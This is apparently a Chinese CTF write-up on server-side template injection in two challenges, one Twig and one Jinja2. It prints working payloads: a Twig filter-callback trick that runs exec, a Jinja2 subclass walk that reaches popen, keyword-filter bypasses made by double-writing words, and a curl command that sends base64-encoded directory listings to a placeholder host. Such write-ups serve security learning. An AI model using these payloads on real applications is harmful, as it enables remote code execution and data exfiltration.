抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

Cookie is so stable(ssti)

在hint处的注释里找到hint(cookie)

试了一会 在图示位置看到回显以为是注入点(啥也不是)

抓包看一看

当登录后会增加一条新数据user

界面会随着user的变化而更改为注入点

ssti注入的判断方式

1
2
Twig{ {7*'7'} }结果49
jinja2{ {7*'7'} }结果为7777777

Twig
存在_self,并不需要暴力枚举变量名。_self指向 Twig_Environment 的env 属性。

并且在 getFilter 里发现了危险函数 call_user_func。通过传递传递参数到该函数中,我们可以调用任意 PHP 函数

就例如exec

1
{ {_self.env.registerUndefinedFilterCallback("exec")} }{ {_self.env.getFilter("cat /flag")} }
#

Xman(无回显带出)

发现有过滤 而且无法使用{ {} }

1
2
3
4
5
{%for i in ''.__class__.__base__.__subclasses__()%}
{%if i.__name__ =='_wrap_close'%}
{%print i.__init__.__globals__['popen']('cat flag').read()%}
{%endif%}
{%endfor%}

语句也无法使用

只能带出
if、os、class、mro,config,popen都会被过滤成空
双写绕过
os使用oconfigs,if使用iconfigf,class使用claconfigss,mro使用mrconfigo,popen使用popconfigen

但是不确定利用类的位置用bp爆破

发现58 59缺失

挨个试

发现正常的命令只有1.txt

但是base64可以

1
{% iconfigf ''.__claconfigss__.__mrconfigo__[2].__subclaconfigsses__()[59].__init__.func_gloconfigbals.linecconfigache.oconfigs.popconfigen('curl http://xxxx:4000/ -d `ls /|base64`') %}1{% endiconfigf %}

评论